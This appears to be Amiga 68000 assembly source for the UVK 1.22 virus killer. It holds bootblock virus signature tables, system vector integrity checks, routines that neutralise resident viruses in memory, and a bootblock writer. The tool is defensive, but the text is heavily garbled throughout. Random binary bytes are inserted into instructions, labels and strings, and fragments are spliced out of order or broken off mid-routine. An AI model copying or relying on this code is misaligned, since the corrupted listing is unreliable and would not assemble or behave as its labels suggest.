Random: dc.b " Random Access Boot",-1 NoFast: dc.b " NoFastMem Boot",-1 Mem13: dc.b " Memory Controller 1.3",-1 XCopy: dc.b " XCopy Boot",-1 Sys30: dc.b " PvL Antivirus 3.0",-1 Sys40: dc.b " PvL Antivirus 4.0",-1 Sys50: dc.b " PvL Antivirus 5.0",-1 Sys51: dc.b " PvL Antivirus 5.1",-1 Sys53: dc.b " PvL Antivirus 5.3",-1 Sys54: dc.b " PvL Antivirus 5.4",-1 SQrB$ed off<",0 ContLed:bset #1,$bfe001 nop Cleaner:bra.L ContCl dc.b ">Ram Cleaner<",0 Kill: move.l d7,$180(a5) moveq #50,d3 WVbl1: cmp.b #$f0,$6(a5) bne.s WVbl1 WVbl2: cmp.b #$ff,$6(a5) bne.s WVbl2 dbf d3,WVbl1 not.l $24(a6) movem.l (a7)+,d0-d7/a0-a6 move.l #$fc00d2,$80 trap #0 rts ExecExc:dc.w -550,-448,-442,-436,-412,-400,-196 ContCl: movem.l d0-d7/a0-a6,-(a7) move.l $4.w,a6 lea $dff000,a5 move.l #$f000f00,d7 tst.l 42(a6) bne.s Kill tst.l 46(a6) bne.s Kill tst.l 54R:-6(a6) bne.s Kill tst.l 550(a6) bne.s Kill moveq #0,d2 move.w #-634,d2 lea ExecExc(pc),a0 ExecLp: addq.w #6,d2 cmp.w (a0),d2 bne.s ExecNEx addq.l #2,a0 bra.s ExecLp ExecNEx:move.l 0(a6,d2.w),d1 cmp.l #$fc0000,d1 blo.L Kill cmp.w #-4,d2 bne.s ExecLp lsr.l #3,d7 move.l d7,$180(a5) movem.l (a7)+,d0-d7/a0-a6 nop TestPal:bra.s ContPal dc.b ">Test Pal<" ContPal:move.l 4.w,a6 cmp.l #$3c,530(a6) bne.s OkPal move.l #$fc00d2,$80 trap #0 rts OkPal: nop NoFMem: bra.s ConSztNF dc.b ">NoFastMem<",0 ContNF: move.l 4.w,a6 move.l #$20004,d1 OkAlM: jsr -216(a6) tst.l d0 beq.s OkAvM jsr -198(a6) tst.l d0 bne.s OkAlM OkAvM: nop NoEDr: bra.s ContNDr dc.b ">No Drives<",0 ContNDr:move.l 4.w,a6 lea DiskRes(pc),a1 jsr -498(a6) tst.l d0 beq.s ErrNdr move.l d0,a0 lea 52(a0),a0 moveq #-1,d0 move.l d0,(a0)+ move.l d0,(a0)+ move.l d0,(a0) bra.s ErrNDr DiskRes:dc.b "disk.resource",0 ErrNDr: nop NoBor: bra.s ContNBo dc.b ">No Border<",0 ContNBo:nop Tڽj1 MakePal:bra.s ContMP dc.b ">Make Pal<" ContMP: lea Intuition(pc),a1 move.l 4.w,a6 clr.l d0 jsr -408(a6) lea Intbase(pc),a0 move.l d0,(a0) move.l d0,a0 lea OpenW+2(pc),a1 move.l -202(a0),(a1) move.l #$10003,d1 move.l #ENewOpW-NewOpW,d0 jsr -198(a6) move.l d0,a1 lea NewOpW(pc),a0 move.l #ENewOpW-NewOpW,d1 CopyLp: move.b (a0)+,(a1)+ dbf d1,CopyLp bsr.L SetFunc lea Intbase(pc),a0 move.l (a0),a1 jsr -414(a6) bra.L ENewOpW NewOpW: movem.l d0-d7/a1-a6,-(a7) move.l a0,U=-(a7) lea OpenW+2(pc),a0 move.l (a0),d0 bsr.s SetFunc move.l (a7)+,a0 NbLine: move.w #256,6(a0) lea MakPB(pc),a1 move.l a1,26(a0) lea Border(pc),a3 tst.w (a3) beq.L NoBord clr.l 26(a0) clr.l 14(a0) move.b #$18,16(a0) NoBord: movem.l (a7)+,d0-d7/a1-a6 OpenW: dc.w $4ef9,0,0 Intuition:dc.b "intuition.library",0 Intbase:dc.l 0 Border: dc.w 0 MakPB: dc.b "AmigaDOS" blk.b 22,0 SetFunc:move.l 4.w,a6 lea Intbase(pc),a0 move.l (a0),a1 move.l #-204,a0 jsr -420(a6) ;Setfunc rtV"o&s ENewOpW:nop IrqPr: bra.s ContIrq dc.b ">IRQ Protector<",0 ContIrq:movem.l d0-d7/a0-a6,-(a7) move.l $4.w,a6 moveq #6,d0 moveq #1,d1 jsr -198(a6) ;allocmem move.l d0,a0 beq.s IrqErr move.w #$4ef9,(a0)+ move.l -406(a6),(a0) move.l a6,a1 move.l #-408,a0 jsr -420(a6) ;setfunction IrqErr: movem.l (a7)+,d0-d7/a0-a6 nop CreaPub:bra.s ContPub dc.b " >This Bootblock was created with UVK< " ContPub:nop BootList:dc.l $0c,$41fa0196,$0c506f6d,CCSB dc.l $64,$5c9e004a,$b0a0829cW!p,NoExpan dc.l $20,$428741fa,$ffe8b1fc,Mem12 dc.l $40,$0009001c,$4eaefe38,Girl dc.l $50,$48e7fffe,$337c0009,Ass dc.l $60,$02c000df,$f18033fc,Sys30 dc.l $60,$0f9000df,$f18033fc,Sys40 dc.l $398,$802c332e,$3020802c,Sys50 dc.l $6c,$0226671a,$0cae0007,Sys51 dc.l $1b0,$000000f0,$00f00000,Sys53 dc.l $1b0,$0eca00f0,$00f00eca,Sys54 dc.l $78,$2c780004,$42ae002e,Sys61 dc.l $312,$fe384e75,$003000bf,Sys65 dc.l $1b0,$0ca90000,$04000024,Sys64 dc.l $0C,$43FA00F4,$4EAEFFA0,NoFast XN{ dc.l $24,$203c0000,$1f40223c,CoppV dc.l $0c,$0c6e0020,$00146f00,Random dc.l $0c,$43fa0136,$70004eae,XCopy dc.l $20,$42862a3c,$0027f000,Mem13 dc.l $14,$48e7fffe,$237c0005,GxTNF dc.l $18,$00804e40,$46fc2700,BotCop dc.l $10,$4eba0036,$4cdf7fff,Avirex dc.l $14,$0004202e,$02260c80,VirTer dc.l $18,$000a0016,$66000036,VDC13 dc.l $18,$000a0016,$662e6120,VDC16 dc.l $60,$d0ae0032,$4a806600,VDC17 dc.l $60,$7000202e,$002ed0ae,VDC20 dc.l $02,$4b49,$0,Kick dc.l $10,$0,$0,NotIns dc.lYqf $0c,$2c780004,$41fa00b2,Bootleg dc.l $48,$00ff20d9,$51cffffc,PalSys dc.l $150,$feb043f9,$007fa00,VirSla dc.l $60,$43fa00bc,$4eaefe68,MegaK dc.l $30,$3b7c0f00,$01806000,MegaB dc.l $0c,$43fa020c,$4eaeffa0,Diet dc.l $10,$0c6e0020,$00146f00,Synd dc.l $10,$027a6704,$4eec0014,Obse dc.l $30,$00326618,$4aae0226,Destr dc.l $34,$223c0001,$0002203c,Deluxe dc.l $40,$23c900df,$f08033c0,PvlSnd dc.l $6a,$48e7fffe,$42b90000,Tritech dc.l $1e,$2c562c56,$23ce0006,UtilB2 dc.l $34,$33fc8380Z,~,$00dff096,BootWr dc.l $18,$41f900df,$f000317c,ColorB dc.l $3a,$3e3c00f0,$202e002e,BlizP dc.l $40,$70ff4640,$48404600,Mia dc.l $40,$207a001a,$227a001a,AddrZ dc.l $40,$43fa00da,$4eaefe68,FastRZ dc.l $50,$2c780004,$4eaefe62,PalZ dc.l $20,$0c6e0008,$003e6606,Ccs3 dc.l $30,$51c8fffc,$45ed0542,DevW dc.l $20,$427900df,$f1dc4e75,EcsB dc.l $64,$23ee0032,$00051000,Shin8 dc.l $b4,$23c800df,$f080363c,StarsB dc.l $70,$02382d49,$003243f9,UtilB5 dc.l $70,$026c2d49,$003243f9,UtilB61 d[MBc.l $28,$43f90050,$0000203c,RipB dc.l $26,$21c00100,$d0bc0000,Genera dc.l $3c,$4eaefe62,$2c780004,VirAler dc.l $08,$8721cbf9,$43fa0018,SCAPro dc.l $14,$4e55ffd2,$203c0000,Stuer dc.l $50,$23fc1b41,$040000df,VSMenu dc.l $5c,$23fc1b41,$040000df,VSChip dc.l $44,$43fa00ec,$42802c78,VSOne dc.l $44,$43fa00d6,$42802c78,VSPal dc.l $46,$43fa00a4,$42802c78,VSBord dc.l $32,$00050006,$43fa006c,VSDr dc.l $e4,$41f900c0,$000043f9,VSFast dc.l $104,$217c00fe,$9fbeffe4,Supply dc.l $20,$2b4F L ecrire2 move.b #1,protector lea prolist,a1 prolp: move.l 4.w,a6 move.l (a1),d0 add.l d0,a6 move.l (a6),a4 move.l 4(a1),d0 move.l 0(a4,d0.l),d1 cmp.l 8(a1),d1 bne.s noprot2 move.l #orange2,d2 bsr.L ecrire2 move.l 12(a1),d2 bsr.L ecrire2 bsr.L normal move.l #detmem,d2 bsr.L ecrire2 bsr.S clrpro rts noprot2:add.l #16,a1 tst.l (a1) bne.s prolp clr.b protector move.l #okt,d2 bsr.L ecrire2 rts clrpro: move.l #clrprot,d2 bsr.L ecrire2 CLRLP: bsr.L keyread cmp.l #Gu\-1,d0 beq.s clrpro cmp.b #"c",d0 beq.s effpro cmp.b #"C",d0 beq.s effpro bra.S tkk effpro: clr.b protector rts tkk: cmp.b #"k",d0 beq.s endp cmp.b #"K",d0 beq.s endp bra.s clrlp endp: rts DosVec: move.l #DosChk,d2 bsr.l ecrire2 move.l #-220,d5 move.l Dosbase,a6 DosCLp: lea 0(a6,d5.l),a0 lea XenAdr,a4 moveq #2,d0 XenALp: move.l (a4)+,a1 add.l #2,a1 cmp.l a0,a1 beq.s XenErr dbf d0,XenALp move.l 0(a6,d5.l),d3 and.l #$ff000000,d3 cmp.l #$60000000,d3 beq.s DosH U VOk XenErr: cmp.l #DosChk,d2 bne.s PontDos move.l #Return,d2 bsr.L Ecrire2 PontDos:move.l #CorVec,d2 bsr.L Ecrire2 lea 0(a6,d5.l),a0 move.l a0,d0 sub.l #2,d0 bsr.L Conv move.l #Convtxt+2,d2 moveq #6,d3 bsr.L Ecrire move.l d5,d0 sub.l #2,d0 neg.l d0 lea DosbTN+11,a0 bsr.L Conv2 move.l #DosbTN,d2 bsr.l Ecrire2 DosVOk: add.l #6,d5 cmp.l #2,d5 bne.L DosCLp cmp.l #DosChk,d2 bne.s DosCErr move.l #Okt,d2 bsr.l Ecrire2 DosCErr:rts Intvec: move.l #intvt,d2 bsr.L ecriI>'re2 moveq #0,d3 move.b #$31,d4 move.l #$64,a2 intvclp:move.l (a2),d1 cmp.l #$fc0000,d1 bhi.s okintv cmp.l #intvt,d2 bne.s nfintv move.l #return,d2 bsr.L ecrire2 nfintv: lea intlevt+17,a1 move.b d4,(a1) move.l #intlevt,d2 bsr.L ecrire2 move.l (a2),d0 bsr.L conv move.l #convtxt+2,d2 bsr.L ecrire2 okintv: add.b #1,d4 add.l #4,a2 cmp.l #$80,a2 bne.s intvclp cmp.l #intvt,d2 bne.s endint move.l #okt,d2 bsr.L ecrire2 endint: rts IoVect: move.l 4.w,a6 lea 350(a6),aJ+l0 lea Trkdisk,a1 jsr -276(a6) move.l d0,Iodevice move.l d0,a0 move.l -28(a0),d0 cmp.l #$fc0000,d0 bhi.s OkBegIo move.l #BegIoT,d2 bsr.L Ecrire2 move.l -28(a0),d0 bsr.L Conv move.l #ConvTxt+2,d2 bsr.L Ecrire2 OkbegIo:rts Rastchk:move.l 4.w,a6 move.l $90(a6),a1 move.l (a1),a1 lea $12(a1),a0 move.l a0,Raster move.l (a0),d0 cmp.l #$fc0000,d0 bhi.s EndRast move.l #RastT,d2 bsr.L Ecrire2 move.l (a0),d0 bsr.L Conv move.l #ConvTxt+2,d2 bsr.L Ecrire2 EndRast:rts ExK$a*baseC:move.l #ExBOCT,d2 bsr.L Ecrire2 move.l #-634,d4 move.b #1,ExOFlag ExecBC: move.l 4.w,a6 add.l #6,d4 cmp.l #2,d4 beq.L EndExBC move.l 0(a6,d4.l),d1 cmp.l #$fc0000,d1 bhi.s ExecBC lea ExcExb,a0 ExcExLp:cmp.l (a0)+,d4 beq.s ExecBC tst.l (a0) bne.s ExcExLp tst.b ExOFlag beq.s NoLigne move.l #Return,d2 bsr.L Ecrire2 move.l 4.w,a6 Noligne:move.b #0,Exoflag move.l d4,d0 neg.l d0 add.l #2,d0 move.l #ExecbTn+14,a0 bsr.L Conv2 move.l 0(a6,d4),d0 bsr.L Conv L rQmove.l #ExecbTN,d2 bsr.L Ecrire2 move.l #Convtxt+2,d2 bsr.L Ecrire2 bra.L ExecBC EndExBC:tst.b ExoFlag beq.s ExbOAlt move.l #Okt,d2 bsr.L ecrire2 ExbOAlt:rts IntuiC: move.l #IntChk,d2 bsr.L Ecrire2 move.l #-472,d4 IntBC: move.l Intuibase,a6 add.l #6,d4 cmp.l #2,d4 beq.L EndIntC move.l 0(a6,d4.l),d1 cmp.l #$fc0000,d1 bhi.s IntBC cmp.l #IntChk,d2 bne.s NoLign move.l #Return,d2 bsr.L Ecrire2 move.l Intuibase,a6 Nolign: move.l d4,d0 neg.l d0 add.l #2,d0 move.l M6#IntbTn+14,a0 bsr.L Conv2 move.l 0(a6,d4),d0 bsr.L Conv move.l #IntbTN,d2 bsr.L Ecrire2 move.l #Convtxt+2,d2 bsr.L Ecrire2 bra.L IntBC EndIntC:cmp.l #IntChk,d2 bne.s IntOAlt move.l #Okt,d2 bsr.L ecrire2 IntOAlt:rts ExbIChk:move.l #exbict,d2 bsr.L ecrire2 move.l #88,d4 inteclp:move.l 4.w,a6 move.l 0(a6,d4),d1 tst.l d1 beq.s noalti cmp.l #$fc0000,d1 bhi.s noalti cmp.l #exbict,d2 bne.s pasretu move.l #return,d2 bsr.L ecrire2 pasretu:move.w d4,d0 move.l #execbtN5r!p+14,a0 bsr.L conv2 move.l #execbtp,d2 bsr.L ecrire2 move.l 4.w,a6 move.l 0(a6,d4),d0 bsr.s conv move.l #convtxt+2,d2 bsr.L ecrire2 noalti: add.l #12,d4 cmp.l #280,d4 bne.s inteclp cmp.l #exbict,d2 bne.s inteend move.l #okt,d2 bsr.L ecrire2 inteend:rts conv: move.l a0,-(a7) move.l #convtxt,a0 move.l #7,d1 clconlp:move.b #$30,(a0)+ dbf d1,clconlp move.l #convtxt,a0 MOVE.L #7,D1 conlp: ROL.L #4,D0 MOVE.L D0,D2 AND.B #15,D0 CMP.B #9,D0 BLE.S conch ADDQ.B #7,D0 cO>onch: ADD.B #$30,D0 MOVE.B D0,(A0)+ MOVE.L D2,D0 DBRA D1,conlp move.l (a7)+,a0 RTS normal: move.l #normalt,d2 bsr.L ecrire2 rts orange: move.l #oranget,d2 bsr.L ecrire2 rts conv2: addq #1,a0 divu #100,d0 add.b #$30,d0 move.b d0,(a0)+ clr.w d0 swap d0 divu #10,d0 add.b #$30,d0 move.b d0,(a0)+ clr.w d0 swap d0 add.b #$30,d0 move.b d0,(a0)+ rts conv3: divu #1000,d0 ;a0/d0 add.b #$30,d0 move.b d0,(a0)+ clr.w d0 swap d0 divu #100,d0 add.b #$30,d0 move.b d0,PS(a0)+ clr.w d0 swap d0 divu #10,d0 add.b #$30,d0 move.b d0,(a0)+ clr.w d0 swap d0 add.b #$30,d0 move.b d0,(a0)+ rts ;-------- Bootblocks -------- KillB: bra.s EKillB dc.b ">Here lies a virus. It was killed in cold blood" dc.b " by UVK 1.22<" EKillB: nop NormB: lea DosName(pc),a1 jsr -96(a6) tst.l d0 beq.s NormErr move.l d0,a0 move.l 22(a0),a0 moveq #0,d0 ENorm: rts NormErr:moveq #-1,d0 bra.s ENorm DosName:dc.b "dos.library",0 nop LedOff: bra.s ContLed dc.b ">L;5Mq.s EndWrP move.l d0,d1 move.l Buffer,d2 move.l #1024,d3 jsr -48(a6) ;write move.l IBoot,d1 jsr -36(a6) ;close moveq #0,d0 EndWrP: rts Readprg:move.l Dosbase,a6 move.l #File2,d1 move.l #1005,d2 jsr -30(a6) ;open move.l d0,iboot beq.s EndRdP move.l d0,d1 move.l buffer,d2 move.l #1024,d3 jsr -42(a6) ;read move.l iboot,d1 jsr -36(a6) ;close moveq #0,d0 rts EndRdP: move.l #NotFt,d2 bsr.L EcriClr bsr.L wait moveq #-1,d0 rts Request:movem.l a0-a3,-(a7) move<8.l Conhandle,d7 move.l Dosbase,a6 move.l #Name3,d1 move.l #1005,d2 jsr -30(a6) move.l d0,Winhandle move.l d0,Conhandle move.l #BordT,d2 bsr.L Ecrire2 GetKRe: bsr.L KeyRead cmp.b #"y",d0 beq.s BordY cmp.b #"Y",d0 beq.s BordY cmp.b #"N",d0 beq.s BordN cmp.b #"n",d0 beq.s BordN bra.s GetKRe BordN: move.w #1,Border BordY: move.l Winhandle,d1 move.l Dosbase,a6 jsr -36(a6) move.l d7,Conhandle movem.l (a7)+,a0-a3 rts GetName:move.l d5,a0 ;d6=text/d3=max len/d5=buffer =jK move.l d3,d0 subq #1,d0 GetNCLp:clr.b (a0)+ dbf d0,GetNCLp move.l Conhandle,d7 move.l Dosbase,a6 move.l #Name2,d1 move.l #1005,d2 jsr -30(a6) move.l d0,Winhandle move.l d0,Conhandle GetNLp: move.l d6,d2 bsr.L Ecrire2 move.l d5,d2 move.l Winhandle,d1 jsr -42(a6) cmp.l d3,d0 bhi.s GetNLp move.l d5,a0 SRetLp: cmp.b #$a,(a0)+ bne.s SRetLp clr.b -1(a0) move.l Winhandle,d1 jsr -36(a6) move.l d7,Conhandle move.l #CurOff,d2 bsr.L Ecrire2 rts VerD0W: tst.b FlagDr bn>ZTye.s PluDr bsr.L Protect bne.s VerD0E VerD0R: tst.b FlagDr bne.s PluDr bsr.L Drive bne.s VerD0E PluDr: moveq #0,d0 VerD0E: rts WaitRet:bsr.L keyread cmp.l #$0d,d0 bne.s waitRET rts Info: lea InfoList,a5 InfoLp: tst.l (a5) beq.s EndInfo move.l (a5),d2 bsr.L Ecrire2 InfWK: bsr.S KeyRead cmp.l #$d,d0 beq.s InfNxt cmp.l #"i",d0 bne.s NInfI1 bsr.L Amiguy NInfi1: cmp.l #"I",d0 bne.s NInfI2 bsr.L Amiguy NInfi2: cmp.l #"k",d0 bne.s NKeyP1 bsr.L KeyPage NKeyP1: cmp.l #"K"?%0,d0 bne.s InfoLp bsr.L KeyPage bra.s InfoLp InfNxt: addq #4,a5 bra.s InfoLp EndInfo:rts InfoList:dc.l InfT,InfT2,InfT3,0 Wait: moveq #50,D1 Wait2: move.l Dosbase,a6 jsr -198(a6) rts KeyRead:moveq #0,d0 move.l Dosbase,a6 move.l Conhandle,d1 move.l #Buf,d2 moveq #1,d3 jsr -42(a6) lea Buf,a0 move.b (a0),d0 rts ;routines test memoire RamChk2:move.l #ramct,d2 bsr.L ecrire2 lea ramlist,a0 ramclp: move.l 4.w,a6 add.l (a0),a6 move.l (a6),a1 cmp.l #$0,a1 beq.s novram @ sub.l 4(a0),a1 move.l a1,a5 add.l 12(a0),a1 move.l (a1),d0 cmp.l 8(a0),d0 bne.s novram tst.l 16(a0) beq.s noksub move.l 16(a0),a2 jsr (a2) noksub: cmp.l #ramct,d2 bne.s nfirst move.l #return,d2 bsr.L ecrire2 nfirst: bsr.L orange move.l 20(a0),d2 bsr.L ecrire2 bsr.L normal move.l #found,d2 bsr.L ecrire2 move.l #locate,d2 bsr.L ecrire2 move.l a5,d0 bsr.L conv move.l #convtxt+2,d2 bsr.L ecrire2 novram: add.l #24,a0 tst.l (a0) bne.L ramclp cmp.l #ramct,d2 Awbne.s endramc move.l #okt,d2 bsr.L ecrire2 Endramc:move.l irqopenlib,a0 cmp.l #" IRQ",-816(A0) bne.s endirqc bsr.L orange move.l #IRQ,d2 bsr.L ecrire2 bsr.L normal move.l #found,d2 bsr.L ecrire2 move.l #locate,d2 bsr.L ecrire2 move.l IrqAdr,d0 bsr.L conv move.l #convtxt+2,d2 bsr.L ecrire2 endirqc:tst.b XenoF beq.s EndRChk2 bsr.L orange move.l #Xeno,d2 bsr.L ecrire2 bsr.L normal move.l #found,d2 bsr.L ecrire2 move.l #locate,d2 bsr.L ecrire2 move.l XenoAdrB,d0 bsr.L conv move.l #convtxt+2,d2 bsr.L ecrire2 EndRChk2:rts lam2k: move.l #$600001d8,$17c(a5) ;routines ramkillvirus rts lam3k: move.l #$60000210,$164(a5) rts lam1k: move.l #$600001c6,$17c(a5) rts lam4k: move.l #$600001c6,$178(a5) rts lam5k: move.l #$600001bc,$18c(a5) rts dokk: move.w #$4e75,$2ac(a5) move.b #$f9,$151(a5) rts gadk: move.b #$8c,343(a5) rts revk: move.w #$600a,$1e8(a5) rts gxtk: move.w #$4e75,$35c(a5) rts nnamk: move.w #$4e75,$1f4(a5) rts ResChk2:moveCޝD.b #1,Retfl move.b #1,Rflag move.l #resid,d2 bsr.L Ecrire2 move.l 4.w,a6 tst.l 46(a6) beq.s okcool move.b #0,retfl move.b #0,rflag move.l #coolt,d2 bsr.L ecrire2 move.l 4.w,a6 move.l 46(a6),d0 bsr.L conv move.l #convtxt+2,d2 bsr.L ecrire2 okcool: move.l 4.w,a6 tst.l 42(a6) beq.s okcold tst.b protector bne.s noccold move.b #0,rflag noccold:move.l #coldt+1,d2 tst.b retfl beq.s rf1 move.l #coldt,d2 rf1: bsr.L ecrire2 move.l 4.w,a6 move.l 42(a6),d0 bsr.L conv Dqmove.l #convtxt+2,d2 bsr.L ecrire2 okcold: tst.b protector bne.s nocco move.l 4.w,a6 clr.l 46(a6) clr.l 42(a6) lea 34(a6),a0 clr.w d0 moveq #$17,d1 coollp: add.w (a0)+,d0 dbf d1,coollp not.w d0 move.w d0,(a0) nocco: move.l 4.w,a6 tst.l 550(a6) beq.L okres move.b #0,rflag move.l #kicktt+1,d2 tst.b retfl beq.s rf2 move.l #kicktt,d2 rf2: bsr.L ecrire2 move.l 4.w,a6 move.l 550(a6),d0 bsr.L conv move.l #convtxt+2,d2 bsr.L ecrire2 tst.b protector bne.s coolend E ǘmove.l 4.w,a6 clr.l 546(a6) clr.l 550(a6) jsr -612(a6) move.l d0,554(a6) tst.b protector beq.s prokill tst.b rflag bne.s okres prokill:tst.b PCmd bne.s CoolCmd move.l #CooT,D2 bsr.l Ecrire2 bra.s CoolEnd CoolCmd:move.l #CoolCT,d2 bsr.L Ecrire3 bra.s CoolEnd okres: tst.b rflag beq.s coolend move.l #okt,d2 bsr.L ecrire2 coolend:rts ProChk2:tst.b PCmd beq.s NoPrCd lea ClrProT,a0 PrCPrL: cmp.b #-1,(a0)+ bne.s PrCPrL move.b #" ",-2(a0) NoPrCd: move.l #resct,d2 bsr.0\]a bsr.L Readtrk bne.s Endcop move.l #Dest,d2 bsr.L EcriClr bsr.L Waitret bsr.L Writeb EndCop: rts Check: moveq #0,d2 bsr.L Chkboot tst.l d2 bne.L Endchk move.l #50,d2 move.l Buffer,a0 lea VirList,a1 VirLp: move.l (a1),d0 move.l 0(a0,d0.l),d1 cmp.l 4(a1),d1 bne.s NoVir move.l 4(a0,d0.l),d1 cmp.l 8(a1),d1 bne.s NoVir move.l #cls2,d2 bsr.L EcriClr bsr.L Orange move.l $c(a1),d2 bsr.L ecrire2 bsr.L Normal move.l #Detect,d2 bsr.L Ecrire2 cmp.l #Target,$c(a1) 1ebne.s Killv move.l Buffer,a2 add.l #$1ac,a2 move.b (a2)+,d0 lea File2,a3 move.b #$22,(a3)+ subq #1,d0 TargLp: move.b (a2)+,(a3) not.b (a3)+ dbf d0,TargLp move.b #$22,(a3)+ move.b #-1,(a3) move.l #File2,d2 bsr.L Ecrire2 bra.s Killv rts Novir: add.l #16,a1 tst.l (a1) bne.L virlp move.l #UnkT,D2 bsr.L EcriClr bsr.L Wait moveq #0,d0 rts Killv: move.l #Kilt,d2 bsr.L Ecrire2 Waitk: bsr.L keyread cmp.b #"e",d0 beq.s endchk cmp.b #"E",d0 beq.s endchk cmp.b #"k",d02d[ beq.s killvir cmp.b #"K",d0 bne.s WaitK killvir:bsr.s ClrBuf lea KillB,a0 bsr.s CopBoot bsr.s BuildB tst.b AutoF bne.s EndChk2 bsr.L OpenDrs bsr.L WritB EndChk: moveq #0,d0 rts EndChk2:moveq #-1,d0 rts ;Efface buffer et prepare boot ClrBuf: move.l Buffer,a2 move.l a2,a1 move.w #1023,d0 ClrBLp: clr.b (a1)+ dbf d0,ClrBLp move.l #"DOS.",(a2) move.b #0,3(a2) move.l #880,8(a2) add.l #12,a2 ;(a2) buffer+12 rts ;Copie boot code CopBoot:move.w (a0)+,(a2)+ ;(a0) ptr Bo3|7 otcode cmp.w #$4e71,(a0) ;(a2) ptr Buffer bne.s CopBoot rts ;copie FindResident et calcule Chksum BuildB: lea NormB,a0 bsr.s CopBoot DoSum: move.l Buffer,a0 lea 4(a0),a1 clr.l (a1) move.w #$ff,d1 moveq #0,d0 BChkSLp:add.l (a0)+,d0 bcc.s BJump add.l #1,d0 BJump: dbf d1,BChkSLp not.l d0 move.l d0,(a1) rts Create: move.L #Inst,D2 bsr.L Ecrire2 bsr.L Keyread cmp.l #$d,d0 beq.s MakeBB cmp.l #"8",d0 beq.L EndCrea cmp.l #"d",d0 beq.s CreChgD cmp.l #"D",d0 beq.s Cre4D:ChgD lea CreatLi-12,a0 lea Inst2,a1 CreaLp: add.l #12,a0 tst.l (a0) beq.s Create cmp.l (a0),d0 bne.s CreaLp sub.l #$31,d0 SeCreR: cmp.b #$a,(a1)+ bne.s SeCreR dbf d0,SeCreR tst.l 4(a0) bne.s FuncOff move.l #-1,4(a0) move.b #"*",3(a1) bra.s Create FuncOff:move.l #0,4(a0) move.b #" ",3(a1) bra.s Create CreChgD:bsr.L NextDrd bra.L Create MakeBB: clr.b CrFlag bsr.L ClrBuf lea CreatLi,a3 MaBBLp: tst.l 4(a3) beq.s NoSelFu move.b #1,CrFlag move.l 8(a3),a0 cmp.l #Ma5P&"kePal,a0 bne.s NMakeP bsr.L Request tst.w Border bne.s NMakeP move.l a0,-(a7) moveq #30,d3 ;getname move.l #MakPT,d6 move.l #MakPB,d5 bsr.L GetName lea MakPB,a1 ;amigados ? tst.b (a1) bne.s NoMakeP lea AmiDos,a0 moveq #7,d0 CAmiDLp:move.b (a0)+,(a1)+ dbf d0,CAmiDLp NoMakeP:move.l (a7)+,a0 NMakeP: bsr.L CopBoot NoSelFu:add.l #12,a3 tst.l (a3) bne.s MaBBLp tst.b CrFlag beq.s NoPub moveq #39,d0 lea CreaPub,a0 bsr.L CopBoot NoPub: bsr.L BuildB bsr.L WriteB bra.6L Create EndCrea:rts ;routines disquettes Protect:move.l 4.w,a6 lea Diskioreq,a1 move.w #15,28(a1) jsr -456(a6) lea Diskioreq,a1 tst.l 32(a1) beq.s OkProt ProMsg: move.l #Protxt,d2 bsr.L EcriClr bsr.L Wait moveq #1,d0 OkProt: rts Drive: moveq #0,d0 move.l 4.w,a6 lea Diskioreq,a1 move.w #14,28(a1) jsr -456(a6) lea Diskioreq,a1 tst.l 32(a1) beq.s OkDk NDIDr: move.l #Ndktxt,d2 bsr.L EcriClr bsr.L Wait moveq #1,d0 OkDk: rts Readtrk:bsr.L Opendrs ReadT: bsr.s Drive 70v bne.S EndTrk move.l 4.w,a6 lea Diskioreq,a1 move.w #2,28(a1) move.l #1024,36(a1) move.l buffer,40(a1) move.l #0,44(a1) jsr -456(a6) tst.l d0 beq.s okread2 rts OkRead2:bsr.L motor moveq #0,d0 EndTrk: rts Writeb: bsr.L Opendrd Writb: bsr.L Drive bne.s Endwrit bsr.L Protect bne.s Endwrit move.l 4.w,a6 lea Diskioreq,a1 move.w #3,28(a1) move.l #1024,36(a1) move.l Buffer,40(a1) move.l #0,44(a1) jsr -456(a6) move.w #4,28(a1) move.l #1024,36(a1) move.l buffer,40(8T a1) move.l #0,44(a1) jsr -456(a6) bsr.L Motor moveq #0,d0 rts Endwrit:rts Motor: move.l 4.w,a6 lea Diskioreq,a1 move.w #9,28(a1) clr.l 36(a1) jsr -456(a6) rts MoveSub:tst.b AutoF bne.s EndMSub Move.l #MoveT,D2 bsr.l Ecrire2 MovSub: bsr.L Keyread cmp.b #"1",d0 beq.L Record cmp.b #"2",d0 beq.L Load cmp.b #"d",d0 beq.s chdrm cmp.b #"D",d0 beq.s chdrm cmp.b #"s",d0 beq.s chdrm cmp.b #"S",d0 beq.s chdrm bra.s t3m chdrm: lea Drm,a0 bsr.L NextDr move.b Drm,d0 98ig add.b #$30,d0 lea MoveT,a0 move.b d0,25(a0) lea SouTM,a0 move.b d0,20(a0) lea DesTM,a0 move.b d0,25(a0) bra.s MoveSub T3m: cmp.l #"3",d0 bne.s MovSub EndMSub:rts Record: move.l #SouTM,d2 bsr.L EcriClr bsr.L WaitRet clr.l d0 move.b Drm,d0 bsr.L OpenDr bsr.L ReadT bne.L EndRec move.l #Des,d2 bsr.L EcriClr bsr.L WaitRet bsr.L VerD0W bne.s EndRec move.l #Cls,d2 bsr.L Ecrire2 move.l #50,d3 move.l #NameT,d6 move.l #File2,d5 bsr.L Getname bsr.L WritPrg bne.s:R EndRec EndRec: bra.L MoveSub Load: clr.b NotFound move.l #Sou,d2 bsr.L EcriClr bsr.L WaitRet bsr.L VerD0R bne.s EndLd move.l #Cls,d2 bsr.L Ecrire2 move.l #50,d3 move.l #NameT,d6 move.l #File2,d5 bsr.L Getname bsr.L ReadPrg bne.s EndLd move.l #DesTM,d2 bsr.L EcriClr bsr.L WaitRet clr.l d0 move.b Drm,d0 bsr.L OpenDr bsr.L WritB bne.s EndLd EndLd: bra.L MoveSub WritPrg:move.l Dosbase,a6 move.l #File2,d1 move.l #1006,d2 jsr -30(a6) ;open move.l d0,IBoot be%9! and.l #$137cfff0,d0 cmp.l #$137c0000,d0 bne.s rwiolp cmp.w #$1d,4(a0) bne.s rwiolp iocmdok:tst.l d6 beq.s npdskt move.l #analt,d2 bsr.L ecrire2 move.l #anadskt,d2 bsr.L ecrire2 npdskt: moveq #0,d6 moveq #0,d7 move.l #return,d5 lea iolist,a2 ioclp: move.b 3(a2),d0 cmp.b 3(a0),d0 bne.s notioc move.l 4(a2),d5 notioc: addq #8,a2 tst.l (a2) bne.s ioclp bsr.L orange move.l #useioc,d2 bsr.L ecrire2 cmp.l #writio,d5 bne.s notwrc add.b #1,virdia notwrc: cmp.l #readio,&d5 bne.s notrec add.b #1,loadia notrec: move.l d5,d2 bsr.L ecrire2 bsr.L normal bra.L rwiolp rwio: tst.l d7 beq.s 